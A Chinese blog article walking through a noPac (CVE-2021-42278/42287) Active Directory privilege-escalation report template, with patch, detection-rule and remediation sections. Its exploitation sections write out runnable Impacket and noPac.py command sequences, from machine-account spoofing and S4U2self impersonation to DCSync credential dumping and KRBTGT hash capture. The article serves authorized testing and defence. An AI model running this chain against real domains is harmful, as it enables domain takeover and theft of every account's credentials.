news 2026/9/13 16:15:40

编写 noPac(CVE-2021-42278 / CVE-2021-42287)Active Directory 提权利用报告:靶机信息、利用步骤与修复清单

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
编写 noPac(CVE-2021-42278 / CVE-2021-42287)Active Directory 提权利用报告:靶机信息、利用步骤与修复清单

编写 noPac(CVE-2021-42278 / CVE-2021-42287)Active Directory 提权利用报告:靶机信息、利用步骤与修复清单

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本篇技术指南以 Anthropic-Cybersecurity-Skills 仓库中 noPac 利用报告模板 为骨架,完整展开 noPac(CVE-2021-42278 与 CVE-2021-42287 组合链)从漏洞扫描、机器账户创建、sAMAccountName 伪装、TGT 请求、S4U2self 模拟到 DCSync 提权的完整攻击流程,并配套修复清单与检测指标。读者读完后,能够掌握填写结构化利用报告的全部字段口径、复现完整利用链的 Impacket 命令序列,以及从攻防双重视角评估与缓解该漏洞的实战方法。

报告模板定位与使用场景

template.md 是一份面向 AI Agent 与红队人员的结构化利用报告模板,用于在授权渗透测试中记录 noPac 攻击链的证据链。模板由三张核心表格构成:靶机信息(Target Information)利用步骤(Exploitation Steps)修复项(Remediation)。它要求测试者逐项填写漏洞环境的关键属性、每一步利用动作的结果状态与时间戳,以及后续修复动作的优先级。

该模板的完整上下文由 SKILL.md 支撑——后者定义了技能元数据(name: exploiting-nopac-cve-2021-42278-42287、domain/subdomain、MITRE ATT&CK 与 NIST CSF 映射)以及四阶段利用工作流;同时仓库还提供了 API 参考、标准与参考资料、工作流速览,以及两个可直接运行检测的脚本(agent.py、process.py)。

法律声明(引自 SKILL.md):本技能仅用于授权的安全测试与教育目的。未经授权对你不拥有或未获得书面许可的系统进行利用属于违法行为,可能触犯计算机欺诈相关法律。

漏洞背景:两条 CVE 如何组合成完整提权链

noPac 并非单一漏洞,而是两条 Active Directory 漏洞的组合利用链:

CVE描述CVSS补丁
CVE-2021-42278sAMAccountName 伪装(机器账户)7.5KB5008102
CVE-2021-42287KDC PAC 混淆 / 权限提升7.5KB5008380
  • CVE-2021-42278允许攻击者将一个机器账户的sAMAccountName属性修改为与域控制器名称一致(去掉末尾的$)。由于机器账户改名缺少必要的校验,攻击者可以制造"域控账户"的同名实体。
  • CVE-2021-42287则利用了 Kerberos PAC 验证中的缺陷:当 KDC 无法通过解析后的名称找到对应账户时,会回退为追加$并继续签发票据,从而为实际域控账户(如DC01$)发放票据。

组合后的效果是:任何通过身份认证的普通域用户都能在约 60 秒内提权为 Domain Admin,甚至可能通过 DCSync 拖取全域凭据。微软于 2021 年 11 月发布了 KB5008380 与 KB5008602 修复,但许多环境至今仍未打补丁。该利用链由 cube0x0 与 Ridter 于 2021 年 12 月公开,也是 references/standards.md 中记录的关键研究主题(CrowdStrike、Fortinet、TrustedSec 均有对应分析文章)。

一、Target Information:靶机信息表填写口径

报告的第一部分要求记录目标环境的身份信息,是后续证据链的"主语"。模板中的字段及填写口径如下:

字段填写说明
Domain目标域 FQDN,如domain.local,用于构造 LDAP 查询与 Kerberos 主体名
DC Hostname域控主机名(不带$),如DC01,是 sAMAccountName 伪装的目标名称
DC IP域控 IP,如10.10.10.1,所有 Impacket 工具通过-dc-ip指定
Initial User发起攻击的初始普通域账号,用于验证"标准用户 → Domain Admin"的提权前提
MachineAccountQuota域属性ms-DS-MachineAccountQuota默认值为 10,即任何域用户可创建 10 个机器账户;> 0才具备利用前提
Patch Level目标 DC 的补丁状态,重点核对 KB5008380 / KB5008602 是否已安装

其中MachineAccountQuota 是整个利用链的"开关"。仓库 SKILL.md 给出了两种核验方式:

# 通过 ldap3 查询(Python) python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "
# 通过 ADSI 查询(PowerShell,见 api-reference.md) ([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota" # 默认值:10(任何域用户可创建 10 个机器账户)

对应的 LDAP 过滤器为(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1)),表示配额大于等于 1 的域对象即为潜在可利用目标。

二、Exploitation Steps:利用步骤报告表

模板中的利用步骤表是整个报告的核心,逐条对应攻击链的六个关键动作:

步骤动作预期结果
1漏洞扫描(Vulnerability scan)Vulnerable / Not Vulnerable
2机器账户创建(Machine account creation)Success / Failed
3sAMAccountName 伪装(sAMAccountName spoofing)Success / Failed
4TGT 请求(TGT request)Ticket obtained / Failed
5S4U2self 模拟(S4U2self impersonation)DA ticket / Failed
6DCSyncHashes dumped / Failed

每一行都应记录结果状态与精确时间戳(Timestamp),形成可审计的攻击时间线。下面结合 SKILL.md 的四阶段工作流,说明每一步的具体执行方式。

步骤 1:漏洞扫描(Phase 1)

# cube0x0 的 noPac 扫描器 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # CrackMapExec 模块 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac

步骤 2~5:自动化利用链(Phase 2)

noPac.py(Impacket 实现)会自动完成从机器账户创建到 S4U2self 模拟的完整链条:

# cube0x0 版本:在 DC 上获得 shell python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Ridter 版本:备选实现,直接拖取凭据 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump

api-reference.md 还提供了对应的扫描与脱密参数变体:

noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan # 仅扫描 noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -shell noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -dump

该工具自动执行的内部动作序列为(据 SKILL.md 与 api-reference.md 的攻击链描述):

  1. 创建新机器账户(或复用已有账户);
  2. 将机器账户的sAMAccountName改名为与 DC 同名(如DC01);
  3. 为伪装名称请求 TGT;
  4. 恢复原始sAMAccountName
  5. 使用 S4U2self 获取模拟目标用户的服务票据;
  6. KDC 找不到与DC01匹配的账户,回退追加$后为真实 DC 账户DC01$发放票据。

步骤 6:DCSync 凭据拖取(Phase 3)

拿到域控票据后即可执行 DCSync:

export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

或者直接通过 noPac shell 以 DC 上的 SYSTEM 权限操作。

手动利用序列(Phase 4)

当自动化工具不可用或需要逐步骤取证时,SKILL.md 提供了完整的手动利用序列(workflows.md 将其概括为六步工作流):

# 1. 创建机器账户 addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 2. 清除 SPN 并将 sAMAccountName 改为 DC 名(不带 $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 3. 为伪装名称请求 TGT getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' # 4. 恢复原始机器账户名 renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 5. 使用 S4U2self 模拟 administrator,请求 cifs 服务票据 export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'

三、Remediation:修复与缓解清单

模板的第三部分是修复清单,按其优先级组织:

动作优先级状态
应用 KB5008380Critical
应用 KB5008602Critical
将 MachineAccountQuota 设为 0High
监控事件 4741 / 4742Medium

api-reference.md 给出了补充修复步骤:

  1. 应用 KB5008380 补丁;
  2. 将 MachineAccountQuota 设为 0;
  3. 监控事件 4741 与 4781 的异常;
  4. 在所有 DC 上启用 PAC 验证。

process.py 的报告中还给出了 PowerShell 落地命令:

Set-ADDomain -Identity domain.local -Replace @{'ms-DS-MachineAccountQuota'='0'}

仓库记录的补丁矩阵如下(KB 编号以仓库文档为准):

KB说明
KB50083802021 年 11 月补丁(Kerberos PAC 修复)
KB5008602OOB 补丁(sAMAccountName 修复)
KB5008207累积更新
KB5008102CVE-2021-42278 对应补丁

四、检测指标与监控建议

报告完成后,可对照 SKILL.md 的检测签名表将证据映射为 SIEM 告警规则:

指标检测方法
机器账户 sAMAccountName 变更事件 4742(计算机账户变更)中 sAMAccountName 被修改
新机器账户创建事件 4741(计算机对象创建)
无尾缀$账户的 TGT 请求Kerberos 审计日志分析
非 DC 机器账户发起 S4U2self事件 4769 出现异常服务票据请求
创建账户 → 改名 → 请求 TGT 的快速序列针对 noPac 攻击模式的 SIEM 关联规则

api-reference.md 补充了更完整的事件 ID 表(4741 计算机账户创建、4742 计算机账户修改、4743 计算机账户删除、4781 账户改名、4768 TGT 请求),并给出了 KQL 检测查询示例:

SecurityEvent | where EventID == 4781 | where TargetUserName !endswith "$" | where TargetUserName in ("DC01", "DC02")

五、仓库脚本:把报告流程自动化

仓库为报告模板提供了两个可直接运行的自动化脚本,将"扫描 → 评估 → 出报告"的流程固化:

agent.py — 检测 Agent

agent.py 是一个命令行检测工具,覆盖三个检查维度:

  • check_nopac_impacket():调用noPac.py ... --scan,通过输出中是否出现VULNERABLEsuccess判定漏洞状态;
  • check_machineaccountquota():通过 PowerShell ADSI 查询ms-DS-MachineAccountQuotaquota > 0即判定exploitable
  • check_patch_status():在 Windows 平台调用wmic qfe list brief,核对 KB5008380 / KB5008602 / KB5008207 是否安装。

main()会根据任一检查为真(vulnerableexploitable)将risk_level汇总为CRITICAL,并支持-o输出 JSON 报告:

python3 agent.py --domain domain.local --username user --password 'Password123' \ --dc-ip 10.10.10.1 --check-patch -o nopac_report.json

process.py — 评估与报告生成

process.py 提供纯命令行工作流:先通过ldap3内联脚本检查配额(exploitable: quota > 0),再调用scanner.py执行 noPac 扫描,最后生成包含目标信息、配额检查结果、扫描结果与修复建议的文本报告:

python process.py 10.10.10.1 domain.local user Password123

该脚本的输出结构与 template.md 的表格字段一一对应:Target DC对应 DC IP、MachineAccountQuota对应配额字段、VULNERABLE / NOT VULNERABLE对应漏洞扫描结果,[Remediation]段则直接输出四条修复建议(KB5008380、KB5008602、配额置零、监控 4741/4742),并自动保存带时间戳的评估报告文件。

六、MITRE ATT&CK 映射与验证标准

standards.md 将整个攻击链映射到 MITRE ATT&CK 战术框架:

技术 ID名称战术
T1068Exploitation for Privilege Escalation权限提升
T1136.002Create Account: Domain Account持久化
T1078.002Valid Accounts: Domain Accounts初始访问
T1558Steal or Forge Kerberos Tickets凭据访问
T1003.006OS Credential Dumping: DCSync凭据访问

此外,SKILL.md 的 front matter 还关联了 D3FEND 技术(Platform Monitoring、Process Analysis 等)与 NIST CSF 控制项(ID.RA-01、GV.OV-02、DE.AE-07),便于将利用演练纳入组织级风险与监控评估。

在最终提交报告前,请对照 SKILL.md 的验证清单逐项确认:

  • 已对域执行 noPac 漏洞扫描
  • 已核验 MachineAccountQuota(默认 10)
  • 利用链执行成功(获得 shell 或完成 DCSync)
  • 已从标准用户获取 Domain Admin 权限
  • 已执行 DCSync 拖取域凭据
  • 已获取 KRBTGT 哈希用于持久化验证
  • 攻击链已带时间戳完整记录
  • 已核验补丁状态(KB5008380、KB5008602)

总结

noPac 利用报告模板将"扫描 → 建号 → 伪装 → TGT → S4U2self → DCSync → 修复"这条完整链路压缩为三张可审计的结构化表格,是红队演练证据记录与蓝队检测加固的公共语言。本文结合仓库 SKILL.md、api-reference.md 与两个自动化脚本,给出了每个字段的填写口径、每条命令的可复现参数,以及对应的检测事件与修复动作——无论你是在授权渗透测试中执行该利用链,还是在 SOC 中构建针对 sAMAccountName 伪装与异常 TGT 请求的检测规则,都可以将这份模板作为攻击方与防御方统一的证据与基线框架。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/13 16:12:22

CC1310调试解锁:BOOT MODE与OTP状态排查指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/13 16:11:21

AI应用开发实战路线图:云原生胶水层构建无登录聊天网页

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/13 16:10:05

Linux内核IPv6地址管理源码解析:addrconf.c核心机制

去年底我给自己定了一个任务:把 Linux 6.19 的 net/ipv6/addrconf.c 完整读一遍。说实话这个文件我早就想啃,但一直没下定决心,因为地址配置这块涉及的状态机、定时器、netlink 回调纠缠在一起,光看代码很容易绕晕。后来我借助 De…

作者头像 李华